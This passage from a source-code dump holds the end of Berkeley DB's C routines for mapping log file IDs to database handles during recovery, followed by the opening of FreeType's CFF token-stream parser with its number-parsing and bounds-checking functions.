*env, DB_TXN * txn, DB ** dbpp, int32 ndx, int tryopen)\n{\n\tFNAME * fname;\n\tchar * name;\n\tDB_LOG * dblp = env->lg_handle;\n\tint ret = 0;\n\tMUTEX_LOCK(env, dblp->mtx_dbreg);\n\t/*\n\t * We take a final parameter that indicates whether we should attempt\n\t * to open the file if no mapping is found. During recovery, the\n\t * recovery routines all want to try to open the file (and this is\n\t * called from __dbreg_id_to_db), however, if we have a multi-process\n\t * environment where some processes may not have the files open,\n\t * then we also get called from __dbreg_assign_id and it's OK if\n\t * there is no mapping.\n\t *\n\t * Under failchk, a process different than the one issuing DB\n\t * operations may abort a transaction. In this case, the \"recovery\"\n\t * routines are run by a process that does not necessarily have the\n\t * file open, so we we must open the file explicitly.\n\t */\n\tif(ndx >= dblp->dbentry_cnt ||\n\t (!dblp->dbentry[ndx].deleted && dblp->dbentry[ndx].dbp == NULL)) {\n\t\tif(!tryopen || F_ISSET(dblp, DBLOG_RECOVER)) {\n\t\t\tret = USR_ERR(env, ENOENT);\n\t\t\tgoto err;\n\t\t}\n\n\t\t/*\n\t\t * __dbreg_id_to_fname acquires the mtx_filelist mutex, which\n\t\t * we can't safely acquire while we hold the thread lock. We\n\t\t * no longer need it anyway--the dbentry table didn't have what\n\t\t * we needed.\n\t\t */\n\t\tMUTEX_UNLOCK(env, dblp->mtx_dbreg);\n\n\t\tif(__dbreg_id_to_fname(dblp, ndx, 0, &fname) != 0)\n\t\t\t/*\n\t\t\t * With transactional opens, we may actually have\n\t\t\t * closed this file in the transaction in which\n\t\t\t * case this will fail too. Then it's up to the\n\t\t\t * caller to reopen the file.\n\t\t\t */\n\t\t\treturn (USR_ERR(env, ENOENT));\n\n\t\t/*\n\t\t * Note that we're relying on fname not to change, even though\n\t\t * we released the mutex that protects it (mtx_filelist) inside\n\t\t * __dbreg_id_to_fname. This should be a safe assumption, the\n\t\t * other process that has the file open shouldn't be closing it\n\t\t * while we're trying to abort.\n\t\t */\n\t\tname = (char *)(fname->fname_off == INVALID_ROFF ? NULL : R_ADDR(&dblp->reginfo, fname->fname_off));\n\t\t/*\n\t\t * At this point, we are not holding the thread lock, so exit\n\t\t * directly instead of going through the exit code at the\n\t\t * bottom. If the __dbreg_do_open succeeded, then we don't need\n\t\t * to do any of the remaining error checking at the end of this\n\t\t * routine.\n\t\t * If TXN_INVALID is passed then no txnlist is needed.\n\t\t */\n\t\tif((ret = __dbreg_do_open(env, txn, dblp,\n\t\t fname->ufid, name, fname->s_type, ndx, fname->meta_pgno,\n\t\t NULL, TXN_INVALID, F_ISSET(fname, DB_FNAME_INMEM) ?\n\t\t DBREG_REOPEN : DBREG_OPEN, fname->blob_file_id)) != 0)\n\t\t\treturn ret;\n\n\t\t*dbpp = dblp->dbentry[ndx].dbp;\n\t\treturn (*dbpp == NULL ? DB_DELETED : 0);\n\t}\n\n\t/*\n\t * Return DB_DELETED if the file has been deleted (it's not an error).\n\t */\n\tif(dblp->dbentry[ndx].deleted) {\n\t\tret = DB_DELETED;\n\t\tgoto err;\n\t}\n\n\t/* It's an error if we don't have a corresponding writable DB. */\n\tif((*dbpp = dblp->dbentry[ndx].dbp) == NULL)\n\t\tret = USR_ERR(env, ENOENT);\n\telse\n\t/*\n\t * If we are in recovery, then set that the file has\n\t * been written. It is possible to run recovery,\n\t * find all the pages in their post update state\n\t * in the OS buffer pool, put a checkpoint in the log\n\t * and then crash the system without forcing the pages\n\t * to disk. If this is an in-memory file, we may not have\n\t * an mpf yet.\n\t */\n\tif((*dbpp)->mpf != NULL && (*dbpp)->mpf->mfp != NULL)\n\t\t(*dbpp)->mpf->mfp->file_written = 1;\n\nerr: MUTEX_UNLOCK(env, dblp->mtx_dbreg);\n\treturn ret;\n}\n\n/*\n * __dbreg_id_to_fname --\n *\tTraverse the shared-memory region looking for the entry that\n *\tmatches the passed dbreg id. Returns 0 on success; -1 on error.\n *\n * PUBLIC: int __dbreg_id_to_fname __P((DB_LOG *, int32, int, FNAME **));\n */\nint __dbreg_id_to_fname(DB_LOG *dblp, int32 id, int have_lock, FNAME ** fnamep)\n{\n\tFNAME * fnp;\n\tENV * env = dblp->env;\n\tLOG * lp = (LOG *)dblp->reginfo.primary;\n\tint ret = -1;\n\tif(!have_lock)\n\t\tMUTEX_LOCK(env, lp->mtx_filelist);\n\tSH_TAILQ_FOREACH(fnp, &lp->fq, q, __fname)\n\tif(fnp->id == id) {\n\t\t*fnamep = fnp;\n\t\tret = 0;\n\t\tbreak;\n\t}\n\tif(!have_lock)\n\t\tMUTEX_UNLOCK(env, lp->mtx_filelist);\n\n\treturn ret;\n}\n/*\n * __dbreg_fid_to_fname --\n *\tTraverse the shared-memory region looking for the entry that\n *\tmatches the passed file unique id. Returns 0 on success; -1 on error.\n *\n * PUBLIC: int __dbreg_fid_to_fname __P((DB_LOG *, uint8 *, int, FNAME **));\n */\nint __dbreg_fid_to_fname(DB_LOG *dblp, uint8 * fid, int have_lock, FNAME ** fnamep)\n{\n\tENV * env;\n\tFNAME * fnp;\n\tLOG * lp;\n\tint ret;\n\tenv = dblp->env;\n\tlp = (LOG *)dblp->reginfo.primary;\n\tret = -1;\n\tif(!have_lock)\n\t\tMUTEX_LOCK(env, lp->mtx_filelist);\n\tSH_TAILQ_FOREACH(fnp, &lp->fq, q, __fname)\n\tif(memcmp(fnp->ufid, fid, DB_FILE_ID_LEN) == 0) {\n\t\t*fnamep = fnp;\n\t\tret = 0;\n\t\tbreak;\n\t}\n\tif(!have_lock)\n\t\tMUTEX_UNLOCK(env, lp->mtx_filelist);\n\n\treturn ret;\n}\n\n/*\n * __dbreg_blob_file_to_fname --\n *\tTraverse the shared-memory list of database file names, looking for\n *\tthe entry that matches the passed blob file id. Returns 0 on success;\n *\t-1 on error.\n *\n * PUBLIC: int __dbreg_blob_file_to_fname\n * PUBLIC:\t__P((DB_LOG *, db_seq_t, int, FNAME **));\n */\nint __dbreg_blob_file_to_fname(DB_LOG *dblp, db_seq_t blob_file_id, int have_lock, FNAME ** fnamep)\n{\n\tFNAME * fnp;\n\tENV * env = dblp->env;\n\tLOG * lp = (LOG *)dblp->reginfo.primary;\n\tint ret = -1;\n\t/*\n\t * If blob_file is 0 then blobs are not enabled and the value is not\n\t * unique.\n\t */\n\tif(blob_file_id == 0)\n\t\treturn ret;\n\n\tif(!have_lock)\n\t\tMUTEX_LOCK(env, lp->mtx_filelist);\n\tSH_TAILQ_FOREACH(fnp, &lp->fq, q, __fname)\n\tif(fnp->blob_file_id == blob_file_id) {\n\t\t*fnamep = fnp;\n\t\tret = 0;\n\t\tbreak;\n\t}\n\tif(!have_lock)\n\t\tMUTEX_UNLOCK(env, lp->mtx_filelist);\n\n\treturn ret;\n}\n\n/*\n * __dbreg_get_name\n *\n * Interface to get name of registered files. This is mainly diagnostic\n * and the name passed could be transient unless there is something\n * ensuring that the file cannot be closed.\n *\n * PUBLIC: int __dbreg_get_name __P((ENV *, uint8 *, char **, char **));\n */\nint __dbreg_get_name(ENV *env, uint8 * fid, char ** fnamep, char ** dnamep)\n{\n\tFNAME * fnp;\n\tDB_LOG * dblp = env->lg_handle;\n\tif(dblp != NULL && __dbreg_fid_to_fname(dblp, fid, 0, &fnp) == 0) {\n\t\t*fnamep = fnp->fname_off == INVALID_ROFF ? NULL : (char *)R_ADDR(&dblp->reginfo, fnp->fname_off);\n\t\t*dnamep = fnp->dname_off == INVALID_ROFF ? NULL : (char *)R_ADDR(&dblp->reginfo, fnp->dname_off);\n\t\treturn 0;\n\t}\n\t*fnamep = *dnamep = NULL;\n\treturn (-1);\n}\n\n/*\n * __dbreg_do_open --\n *\tOpen files referenced in the log. This is the part of the open that\n * is not protected by the thread mutex.\n * PUBLIC: int __dbreg_do_open __P((ENV *,\n * PUBLIC: DB_TXN *, DB_LOG *, uint8 *, char *, DBTYPE,\n * PUBLIC: int32, db_pgno_t, void *, uint32, uint32, db_seq_t));\n */\nint __dbreg_do_open(ENV *env, DB_TXN * txn, DB_LOG * dblp, uint8 * uid, char * name, DBTYPE ftype, int32 ndx, db_pgno_t meta_pgno, void * info, uint32 id, uint32 opcode, db_seq_t blob_file_id)\n{\n\tDB * dbp;\n\tuint32 cstat, ret_stat;\n\tint ret, t_ret, try_inmem;\n\tchar * dname, * fname;\n\tcstat = TXN_EXPECTED;\n\tfname = name;\n\tdname = NULL;\n\ttry_inmem = 0;\nretry_inmem:\n\tif((ret = __db_create_internal(&dbp, dblp->env, 0)) != 0)\n\t\treturn ret;\n\n\t/*\n\t * We can open files under a number of different scenarios.\n\t * First, we can open a file during a normal txn_abort, if that file\n\t * was opened and closed during the transaction (as is the master\n\t * database of a sub-database).\n\t * Second, we might be aborting a transaction in a process other than\n\t * the one that did it (failchk).\n\t * Third, we might be in recovery.\n\t * In case 3, there is no locking, so there is no issue.\n\t * In cases 1 and 2, we are guaranteed to already hold any locks\n\t * that we need, since we're still in the same transaction, so by\n\t * setting DB_AM_RECOVER, we guarantee that we don't log and that\n\t * we don't try to acquire locks on behalf of a different locker id.\n\t */\n\tF_SET(dbp, DB_AM_RECOVER);\n\tif(meta_pgno != PGNO_BASE_MD) {\n\t\tmemcpy(dbp->fileid, uid, DB_FILE_ID_LEN);\n\t\tdbp->meta_pgno = meta_pgno;\n\t}\n\n\tif(opcode == DBREG_PREOPEN) {\n\t\tdbp->type = ftype;\n\t\tif((ret = __dbreg_setup(dbp, name, NULL, id)) != 0)\n\t\t\tgoto err;\n\t\tMAKE_INMEM(dbp);\n\t\tgoto skip_open;\n\t}\n\n\tif(opcode == DBREG_REOPEN || opcode == DBREG_XREOPEN || try_inmem) {\n\t\tMAKE_INMEM(dbp);\n\t\tfname = NULL;\n\t\tdname = name;\n\t}\n\n\tif(opcode == DBREG_XOPEN || opcode == DBREG_XCHKPNT ||\n\t opcode == DBREG_XREOPEN)\n\t\tF2_SET(dbp, DB2_AM_EXCL|DB2_AM_INTEXCL);\n\n\tif((ret = __db_open(dbp, NULL, txn, fname, dname, ftype,\n\t DB_DURABLE_UNKNOWN | DB_ODDFILESIZE,\n\t DB_MODE_600, meta_pgno)) == 0) {\nskip_open:\n\t\t/*\n\t\t * Verify that we are opening the same file that we were\n\t\t * referring to when we wrote this log record.\n\t\t */\n\t\tif((meta_pgno != PGNO_BASE_MD &&\n\t\t __dbreg_check_master(env, uid, name) != 0) ||\n\t\t memcmp(uid, dbp->fileid, DB_FILE_ID_LEN) != 0)\n\t\t\tcstat = TXN_UNEXPECTED;\n\t\telse\n\t\t\tcstat = TXN_EXPECTED;\n\n\t\t/* Assign the specific dbreg id to this dbp. */\n\t\tif((ret = __dbreg_assign_id(dbp, ndx, 0)) != 0)\n\t\t\tgoto err;\n\n\t\t/*\n\t\t * Record the newly-opened file in the transaction so it closed\n\t\t * when the transaction ends. Decrement the reference count\n\t\t * because there will be no explicit close for this handle and\n\t\t * we want it to be closed when the transaction ends.\n\t\t */\n\t\tif(txn != NULL && (ret = __txn_record_fname(env, txn, dbp->log_filename)) != 0)\n\t\t\tgoto err;\n\t\t--dbp->log_filename->txn_ref;\n\n\t\t/*\n\t\t * If we successfully opened this file, then we need to\n\t\t * convey that information to the txnlist so that we\n\t\t * know how to handle the subtransaction that created\n\t\t * the file system object.\n\t\t */\n\t\tif(id != TXN_INVALID)\n\t\t\tret = __db_txnlist_update(env, (DB_TXNHEAD *)info, id, cstat, NULL, &ret_stat, 1);\nerr: \n\t\tif(cstat == TXN_UNEXPECTED)\n\t\t\tgoto not_right;\n\t\treturn ret;\n\t}\n\telse if(ret == ENOENT) {\n\t\t/*\n\t\t * If the open failed with ENOENT, retry it as a named in-mem\n\t\t * database. Some record types do not distinguish between a\n\t\t * named in-memory database and one on-disk. Therefore, an\n\t\t * internal init via replication that is trying to open and\n\t\t * access this as a named in-mem database will not find it\n\t\t * on-disk, and we need to try to open it in-memory too.\n\t\t * But don't do this for [P]REOPEN, since we're already\n\t\t * handling those cases specially, above.\n\t\t */\n\t\tif(try_inmem == 0 &&\n\t\t opcode != DBREG_PREOPEN && opcode != DBREG_REOPEN &&\n\t\t opcode != DBREG_XREOPEN) {\n\t\t\tif((ret = __db_close(dbp, NULL, DB_NOSYNC)) != 0)\n\t\t\t\treturn ret;\n\t\t\ttry_inmem = 1;\n\t\t\tgoto retry_inmem;\n\t\t}\n\t\telse if(try_inmem != 0)\n\t\t\tCLR_INMEM(dbp);\n\t\t/*\n\t\t * If it exists neither on disk nor in memory\n\t\t * record that the open failed in the txnlist.\n\t\t */\n\t\tif(id != TXN_INVALID && (ret = __db_txnlist_update(env, (DB_TXNHEAD *)info, id, TXN_UNEXPECTED, NULL, &ret_stat, 1)) != 0)\n\t\t\tgoto not_right;\n\t\t/*\n\t\t * If this is file is missing then we may have crashed\n\t\t * without writing the corresponding close, record\n\t\t * the open so recovery will write a close record\n\t\t * with its checkpoint. If this is a backward pass then\n\t\t * we are closing a non-existent file and need to mark\n\t\t * it as deleted.\n\t\t */\n\t\tdbp->blob_file_id = blob_file_id;\n\t\tif(dbp->log_filename == NULL && (ret = __dbreg_setup(dbp, name, NULL, id)) != 0)\n\t\t\treturn ret;\n\t\tret = __dbreg_assign_id(dbp, ndx, 1);\n\t\treturn ret;\n\t}\nnot_right:\n\tif((t_ret = __db_close(dbp, NULL, DB_NOSYNC)) != 0)\n\t\treturn (ret == 0 ? t_ret : ret);\n\t/* Add this file as deleted. */\n\tif((t_ret = __dbreg_add_dbentry(env, dblp, NULL, ndx)) != 0 && ret == 0)\n\t\tret = t_ret;\n\treturn ret;\n}\n\nstatic int __dbreg_check_master(ENV *env, uint8 * uid, char * name)\n{\n\tDB * dbp;\n\tint ret;\n\tif((ret = __db_create_internal(&dbp, env, 0)) != 0)\n\t\treturn ret;\n\tF_SET(dbp, DB_AM_RECOVER);\n\tret = __db_open(dbp, NULL, NULL,\n\t\tname, NULL, DB_BTREE, 0, DB_MODE_600, PGNO_BASE_MD);\n\n\tif(ret == 0 && memcmp(uid, dbp->fileid, DB_FILE_ID_LEN) != 0)\n\t\tret = USR_ERR(env, EINVAL);\n\n\t(void)__db_close(dbp, NULL, 0);\n\treturn ret;\n}\n\n/*\n * __dbreg_lazy_id --\n *\tWhen a replication client gets upgraded to being a replication master,\n * it may have database handles open that have not been assigned an ID, but\n * which have become legal to use for logging.\n *\n *\tThis function lazily allocates a new ID for such a function, in a\n * new transaction created for the purpose. We need to do this in a new\n * transaction because we definitely wish to commit the dbreg_register, but\n * at this point we have no way of knowing whether the log record that incited\n * us to call this will be part of a committed transaction.\n *\n *\tWe first revoke any old id this handle may have had. That can happen\n * if a master becomes a client and then becomes a master again and\n * there are other processes with valid open handles to this env.\n *\n * PUBLIC: int __dbreg_lazy_id(DB *);\n */\nint __dbreg_lazy_id(DB *dbp)\n{\n\tDB_LOG * dblp;\n\tDB_TXN * txn;\n\tENV * env;\n\tFNAME * fnp;\n\tLOG * lp;\n\tint32 id;\n\tint ret;\n\tenv = dbp->env;\n\tDB_ASSERT(env, IS_REP_MASTER(env) || F_ISSET(dbp, DB_AM_NOT_DURABLE));\n\tenv = dbp->env;\n\tdblp = env->lg_handle;\n\tlp = (LOG *)dblp->reginfo.primary;\n\tfnp = dbp->log_filename;\n\n\t/* The mtx_filelist protects the FNAME list and id management. */\n\tMUTEX_LOCK(env, lp->mtx_filelist);\n\tif(fnp->id != DB_LOGFILEID_INVALID) {\n\t\tMUTEX_UNLOCK(env, lp->mtx_filelist);\n\t\treturn 0;\n\t}\n\tid = DB_LOGFILEID_INVALID;\n\t/*\n\t * When we became master we moved the fnp->id to old_id in\n\t * every FNAME structure that was open. If our id was changed,\n\t * we need to revoke and give back that id.\n\t */\n\tif(fnp->old_id != DB_LOGFILEID_INVALID &&\n\t (ret = __dbreg_revoke_id(dbp, 1, DB_LOGFILEID_INVALID)) != 0)\n\t\tgoto err;\n\tif((ret = __txn_begin(env, NULL, NULL, &txn, DB_IGNORE_LEASE)) != 0)\n\t\tgoto err;\n\n\tif((ret = __dbreg_get_id(dbp, txn, &id)) != 0) {\n\t\t(void)__txn_abort(txn);\n\t\tgoto err;\n\t}\n\n\tif((ret = __txn_commit(txn, DB_TXN_NOSYNC)) != 0)\n\t\tgoto err;\n\n\t/*\n\t * All DB related logging routines check the id value *without*\n\t * holding the mtx_filelist to know whether we need to call\n\t * dbreg_lazy_id to begin with. We must set the ID after a\n\t * *successful* commit so that there is no possibility of a second\n\t * modification call finding a valid ID in the dbp before the\n\t * dbreg_register and commit records are in the log.\n\t * If there was an error, then we call __dbreg_revoke_id to\n\t * remove the entry from the lists.\n\t */\n\tfnp->id = id;\nerr:\n\tif(ret != 0 && id != DB_LOGFILEID_INVALID)\n\t\t(void)__dbreg_revoke_id(dbp, 1, id);\n\tMUTEX_UNLOCK(env, lp->mtx_filelist);\n\treturn ret;\n}\n"} {"text": "/****************************************************************************\n *\n * cffparse.c\n *\n * CFF token stream parser (body)\n *\n * Copyright (C) 1996-2020 by\n * David Turner, Robert Wilhelm, and Werner Lemberg.\n *\n * This file is part of the FreeType project, and may only be used,\n * modified, and distributed under the terms of the FreeType project\n * license, LICENSE.TXT. By continuing to use, modify, or distribute\n * this file you indicate that you have read the license and\n * understand and accept it fully.\n *\n */\n\n\n#include <ft2build.h>\n#include \"cffparse.h\"\n#include FT_INTERNAL_STREAM_H\n#include FT_INTERNAL_DEBUG_H\n#include FT_INTERNAL_CALC_H\n#include FT_INTERNAL_POSTSCRIPT_AUX_H\n#include FT_LIST_H\n\n#include \"cfferrs.h\"\n#include \"cffload.h\"\n\n\n /**************************************************************************\n *\n * The macro FT_COMPONENT is used in trace mode. It is an implicit\n * parameter of the FT_TRACE() and FT_ERROR() macros, used to print/log\n * messages during execution.\n */\n#undef FT_COMPONENT\n#define FT_COMPONENT cffparse\n\n\n FT_LOCAL_DEF( FT_Error )\n cff_parser_init( CFF_Parser parser,\n FT_UInt code,\n void* object,\n FT_Library library,\n FT_UInt stackSize,\n FT_UShort num_designs,\n FT_UShort num_axes )\n {\n FT_Memory memory = library->memory; /* for FT_NEW_ARRAY */\n FT_Error error; /* for FT_NEW_ARRAY */\n\n\n FT_ZERO( parser );\n\n#if 0\n parser->top = parser->stack;\n#endif\n parser->object_code = code;\n parser->object = object;\n parser->library = library;\n parser->num_designs = num_designs;\n parser->num_axes = num_axes;\n\n /* allocate the stack buffer */\n if ( FT_NEW_ARRAY( parser->stack, stackSize ) )\n {\n FT_FREE( parser->stack );\n goto Exit;\n }\n\n parser->stackSize = stackSize;\n parser->top = parser->stack; /* empty stack */\n\n Exit:\n return error;\n }\n\n\n#ifdef CFF_CONFIG_OPTION_OLD_ENGINE\n static void\n finalize_t2_strings( FT_Memory memory,\n void* data,\n void* user )\n {\n CFF_T2_String t2 = (CFF_T2_String)data;\n\n\n FT_UNUSED( user );\n\n memory->free( memory, t2->start );\n memory->free( memory, data );\n }\n#endif /* CFF_CONFIG_OPTION_OLD_ENGINE */\n\n\n FT_LOCAL_DEF( void )\n cff_parser_done( CFF_Parser parser )\n {\n FT_Memory memory = parser->library->memory; /* for FT_FREE */\n\n\n FT_FREE( parser->stack );\n\n#ifdef CFF_CONFIG_OPTION_OLD_ENGINE\n FT_List_Finalize( &parser->t2_strings,\n finalize_t2_strings,\n memory,\n NULL );\n#endif\n }\n\n\n /* Assuming `first >= last'. */\n\n static FT_Error\n cff_parser_within_limits( CFF_Parser parser,\n FT_Byte* first,\n FT_Byte* last )\n {\n#ifndef CFF_CONFIG_OPTION_OLD_ENGINE\n\n /* Fast path for regular FreeType builds with the \"new\" engine; */\n /* `first >= parser->start' can be assumed. */\n\n FT_UNUSED( first );\n\n return last < parser->limit ? FT_Err_Ok : FT_THROW( Invalid_Argument );\n\n#else /* CFF_CONFIG_OPTION_OLD_ENGINE */\n\n FT_ListNode node;\n\n\n if ( first >= parser->start &&\n last < parser->limit )\n return FT_Err_Ok;\n\n node = parser->t2_strings.head;\n\n while ( node )\n {\n CFF_T2_String t2 = (CFF_T2_String)node->data;\n\n\n if ( first >= t2->start &&\n last < t2->limit )\n return FT_Err_Ok;\n\n node = node->next;\n }\n\n return FT_THROW( Invalid_Argument );\n\n#endif /* CFF_CONFIG_OPTION_OLD_ENGINE */\n }\n\n\n /* read an integer */\n static FT_Long\n cff_parse_integer( CFF_Parser parser,\n FT_Byte* start )\n {\n FT_Byte* p = start;\n FT_Int v = *p++;\n FT_Long val = 0;\n\n\n if ( v == 28 )\n {\n if ( cff_parser_within_limits( parser, p, p + 1 ) )\n goto Bad;\n\n val = (FT_Short)( ( (FT_UShort)p[0] << 8 ) | p[1] );\n }\n else if ( v == 29 )\n {\n if ( cff_parser_within_limits( parser, p, p + 3 ) )\n goto Bad;\n\n val = (FT_Long)( ( (FT_ULong)p[0] << 24 ) |\n ( (FT_ULong)p[1] << 16 ) |\n ( (FT_ULong)p[2] << 8 ) |\n (FT_ULong)p[3] );\n }\n else if ( v < 247 )\n {\n val = v - 139;\n }\n else if ( v < 251 )\n {\n if ( cff_parser_within_limits( parser, p, p ) )\n goto Bad;\n\n val = ( v - 247 ) * 256 + p[0] + 108;\n }\n else\n {\n if ( cff_parser_within_limits( parser, p, p ) )\n goto Bad;\n\n val = -( v - 251 ) * 256 - p[0] - 108;\n }\n\n Exit:\n return val;\n\n Bad:\n val = 0;\n FT_TRACE4(( \"!!!END OF DATA:!!!\" ));\n goto Exit;\n }\n\n\n static const FT_Long power_tens[] =\n {\n 1L,\n 10L,\n 100L,\n 1000L,\n 10000L,\n 100000L,\n 1000000L,\n 10000000L,\n 100000000L,\n 1000000000L\n };\n\n /* maximum values allowed for multiplying */\n /* with the corresponding `power_tens' element */\n static const FT_Long power_ten_limits[] =\n {\n FT_LONG_MAX / 1L,\n FT_LONG_MAX / 10L,\n FT_LONG_MAX / 100L,\n FT_LONG_MAX / 1000L,\n FT_LONG_MAX / 10000L,\n FT_LONG_MAX / 100000L,\n FT_LONG_MAX / 1000000L,\n FT_LONG_MAX / 10000000L,\n FT_LONG_MAX / 100000000L,\n FT_LONG_MAX / 1000000000L,\n };\n\n\n /* read a real */\n static FT_Fixed\n cff_parse_real( CFF_Parser parser,\n FT_Byte* start,\n FT_Long power_ten,\n FT_Long* scaling )\n {\n FT_Byte* p = start;\n FT_Int nib;\n FT_UInt phase;\n\n FT_Long result, number, exponent;\n FT_Int sign = 0, exponent_sign = 0, have_overflow = 0;\n FT_Long exponent_add, integer_length, fraction_length;\n\n\n if ( scaling )\n *scaling = 0;\n\n result = 0;\n\n number = 0;\n exponent = 0;\n\n exponent_add = 0;\n integer_length = 0;\n fraction_length = 0;\n\n /* First of all, read the integer part. */\n phase = 4;\n\n for (;;)\n {\n /* If we entered this iteration with phase == 4, we need to */\n /* read a new byte. This also skips past the initial 0x1E. */\n if ( phase )\n {\n p++;\n\n /* Make sure we don't read past the end. */\n if ( cff_parser_within_limits( parser, p, p ) )\n goto Bad;\n }\n\n /* Get the nibble. */\n nib = (FT_Int)( p[0] >> phase ) & 0xF;\n phase = 4 - phase;\n\n if ( nib == 0xE )\n sign = 1;\n else if ( nib > 9 )\n break;\n else\n {\n /* Increase exponent if we can't add the digit. */\n if ( number >= 0xCCCCCCCL )\n exponent_add++;\n /* Skip leading zeros. */\n else if ( nib || number )\n {\n integer_length++;\n number = number * 10 + nib;\n }\n }\n }\n\n /* Read fraction part, if any. */\n if ( nib == 0xA )\n for (;;)\n {\n /* If we entered this iteration with phase == 4, we need */\n /* to read a new byte. */\n if ( phase )\n {\n p++;\n\n /* Make sure we don't read past the end. */\n if ( cff_parser_within_limits( parser, p, p ) )\n goto Bad;\n }\n\n /* Get the nibble. */\n nib = ( p[0] >> phase ) & 0xF;\n phase = 4 - phase;\n if ( nib >= 10 )\n break;\n\n /* Skip leading zeros if possible. */\n if ( !nib && !number )\n exponent_add--;\n /* Only add digit if we don't overflow. */\n else if ( number < 0xCCCCCCCL && fraction_length < 9 )\n {\n fraction_length++;\n number = number * 10 + nib;\n }\n }\n\n /* Read exponent, if any. */\n if ( nib == 12 )\n {\n exponent_sign = 1;\n nib = 11;\n }\n\n if ( nib == 11 )\n {\n for (;;)\n {\n /* If we entered this iteration with phase == 4, */\n /* we need to read a new byte. */\n if ( phase )\n {\n p++;\n\n /* Make sure we don't read past the end. */\n if ( cff_parser_within_limits( parser, p, p ) )\n goto Bad;\n }\n\n /* Get the nibble. */\n nib = ( p[0] >> phase ) & 0xF;\n phase = 4 - phase;\n if ( nib >= 10 )\n break;\n\n /* Arbitrarily limit exponent. */\n if ( exponent > 1000 )\n have_overflow = 1;\n else\n exponent = exponent * 10 + nib;\n }\n\n if ( exponent_sign )\n exponent = -exponent;\n }\n\n if ( !number )\n goto Exit;\n\n if ( have_overflow )\n {\n if ( exponent_sign )\n goto Underflow;\n else\n goto Overflow;\n }\n\n /* We don't check `power_ten' and `exponent_add'. */\n exponent += power_ten + exponent_add;\n\n if ( scaling )\n {\n /* Only use `fraction_length'. */\n fraction_length += integer_length;\n exponent += integer_length;\n\n if ( fraction_length <= 5 )\n {\n if ( number > 0x7FFFL )\n {\n result = FT_DivFix( number, 10 );\n *scaling = exponent - fraction_length + 1;\n }\n else\n {\n if ( exponent > 0 )\n {\n FT_Long new_fraction_length, shift;\n\n\n /* Make `scaling' as small as possible. */\n new_fraction_length = FT_MIN( exponent, 5 );\n shift = new_fraction_length - fraction_length;\n\n if ( shift > 0 )\n {\n exponent -= new_fraction_length;\n number *= power_tens[shift];\n if ( number > 0x7FFFL )\n {\n number /= 10;\n exponent += 1;\n }\n }\n else\n exponent -= fraction_length;\n }\n else\n exponent -= fraction_length;\n\n result = (FT_Long)( (FT_ULong)number << 16 );\n *scaling = exponent;\n }\n }\n else\n {\n if ( ( number / power_tens[fraction_length - 5] ) > 0x7FFFL )\n {\n result = FT_DivFix( number, power_tens[fraction_length - 4] );\n *scaling = exponent - 4;\n }\n else\n {\n result = FT_DivFix( number, power_tens[fraction_length - 5] );\n *scaling = exponent - 5;\n }\n }\n }\n else\n {\n integer_length += exponent;\n fraction_length -= exponent;\n\n if ( integer_length > 5 )\n goto Overflow;\n if ( integer_length < -5 )\n goto Underflow;\n\n /* Remove non-significant digits. */\n if ( integer_length < 0 )\n {\n number /= power_tens[-integer_length];\n fraction_length += integer_length;\n }\n\n /* this can only happen if exponent was non-zero */\n if ( fraction_length == 10 )\n {\n number /= 10;\n fraction_length -= 1;\n }\n\n /* Convert into 16.16 format. */\n if ( fraction_length > 0 )\n {\n if ( ( number / power_tens[fraction_length] ) > 0x7FFFL )\n goto Exit;\n\n result = FT_DivFix( number, power_tens[fraction_length] );\n }\n else\n {\n number *= power_tens[-fraction_length];\n\n if ( number > 0x7FFFL )\n goto Overflow;\n\n result = (FT_Long)( (FT_ULong)number << 16 );\n }\n }\n\n Exit:\n if ( sign )\n result = -result;\n\n return result;\n\n Overflow:\n result = 0x7FFFFFFFL;\n FT_TRACE4(( \"!!!OVERFLOW:!!!\" ));\n goto Exit;\n\n Underflow:\n result = 0;\n FT_TRACE4(( \"!!!UNDERFLOW:!!!\" ));\n goto Exit;\n\n Bad:\n result = 0;\n FT_TRACE4(( \"!!!END OF DATA:!!!\" ));\n goto Exit;\n }\n\n\n /* read a number, either integer or real */\n FT_LOCAL_DEF( FT_Long )\n cff_parse_num( CFF_Parser parser,\n FT_Byte** d )\n {\n if ( **d == 30 )\n {\n /* binary-coded decimal is truncated to integer */\n return cff_parse_real( parser, *d, 0, NULL ) >> 16;\n }\n\n else if ( **d == 255 )\n {\n /* 16.16 fixed point is used internally for CFF2 blend results. */\n /* Since these are trusted values, a limit check is not needed. */\n\n /* After the 255, 4 bytes give the number. */\n /* The blend value is converted to integer, with rounding; */\n /* due to the right-shift we don't need the lowest byte. */\n#if 0\n return (FT_Short)(\n ( ( ( (FT_UInt32)*( d[0] + 1 ) << 24 ) |\n ( (FT_UInt32)*( d[0] + 2 ) << 16 ) |\n ( (FT_UInt32)*( d[0] + 3 ) << 8 ) |\n (FT_UInt32)*( d[0] + 4 ) ) + 0x8000U ) >> 16 );\n#else\n return (FT_Short)(\n ( ( ( (FT_UInt32)*( d[0] + 1 ) << 16 ) |\n ( (FT_UInt32)*( d[0] + 2 ) << 8 ) |\n (FT_UInt32)*( d[0] + 3 ) ) + 0x80U ) >> 8 );\n#endif\n }\n\n else\n return cff_parse_integer( parser, *d );\n }\n\n\n /* read a floating point number, either integer or real */\n static FT_Fixed\n do_fixed( CFF_Parser parser,\n FT_Byte** d,\n FT_Long scaling )\n {\n if ( **d == 30 )\n return cff_parse_real( parser, *d, scaling, NULL );\n else\n {\n FT_Long val = cff_parse_integer( parser, *d );\n\n\n if ( scaling )\n {\n if ( FT_ABS( val ) > power_ten_limits[scaling] )\n {\n val = val > 0 ? 0x7FFFFFFFL : -0x7FFFFFFFL;\n goto Overflow;\n }\n\n val *= power_tens[scaling];\n }\n\n if ( val > 0x7FFF )\n {\n val = 0x7FFFFFFFL;\n goto Overflow;\n }\n else if ( val < -0x7FFF )\n {\n val = -0x7FFFFFFFL;\n goto Overflow;\n }\n\n return (FT_Long)( (FT_ULong)val << 16 );\n\n Overflow:\n FT_TRACE4(( \"!!!OVERFLOW:!!!\" ));\n return val;\n }\n }\n\n\n /* read a floating point number, either integer or real */\n static FT_Fixed\n cff_parse_fixed( CFF_Parser parser,\n FT_Byte** d )\n {\n return do_fixed( parser, d, 0 );\n }\n\n\n /* read a floating point number, either integer or real, */\n /* but return `10^scaling' times the number read in */\n static FT_Fixed\n cff_parse_fixed_scaled( CFF_Parser parser,\n FT_Byte** d,\n FT_Long scaling )\n {\n return do_fixed( parser, d, scaling );\n }\n\n\n /* read a floating point number, either integer or real, */\n /* and return it as precise as possible -- `scaling' returns 